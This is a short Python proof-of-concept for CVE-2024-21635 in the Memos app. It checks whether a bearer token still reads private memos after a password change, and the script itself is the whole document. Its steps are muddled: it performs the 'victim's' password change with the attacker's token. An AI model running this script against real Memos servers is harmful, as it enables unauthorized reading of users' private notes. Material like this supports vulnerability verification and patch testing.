CVE-2024-21635 Memos访问令牌密码更改后未撤销漏洞

# CVE-2024-21635 PoC - Memos Access Token After Password Change # This PoC demonstrates the vulnerability where access tokens remain valid after password change import requests import json TARGET_URL = "http://target-memos-server.com" ATTACKER_TOKEN = "attacker_obtained_access_token" VICTIM_PASSWORD = "old_password" NEW_PASSWORD = "new_password" def exploit(): """ Step 1: Attacker obtains a valid access token (e.g., via phishing or session hijacking) """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 2: Victim changes password (thinking this will kick out attacker) change_password_data = { "oldPassword": VICTIM_PASSWORD, "newPassword": NEW_PASSWORD } response = requests.post( f"{TARGET_URL}/api/v1/user/password", headers=headers, json=change_password_data ) if response.status_code == 200: print("[+] Password changed successfully") print("[+] Victim thinks account is now secure") # Step 3: Attacker still has access with old token (VULNERABILITY) attacker_headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Try to access victim's data with old token after password change response = requests.get( f"{TARGET_URL}/api/v1/memo", headers=attacker_headers ) if response.status_code == 200: print("[!] VULNERABILITY CONFIRMED: Attacker still has access after password change!") print(f"[!] Attacker can read private memos: {response.text}") return True else: print("[-] Token was properly revoked (not vulnerable)") return False if __name__ == "__main__": exploit()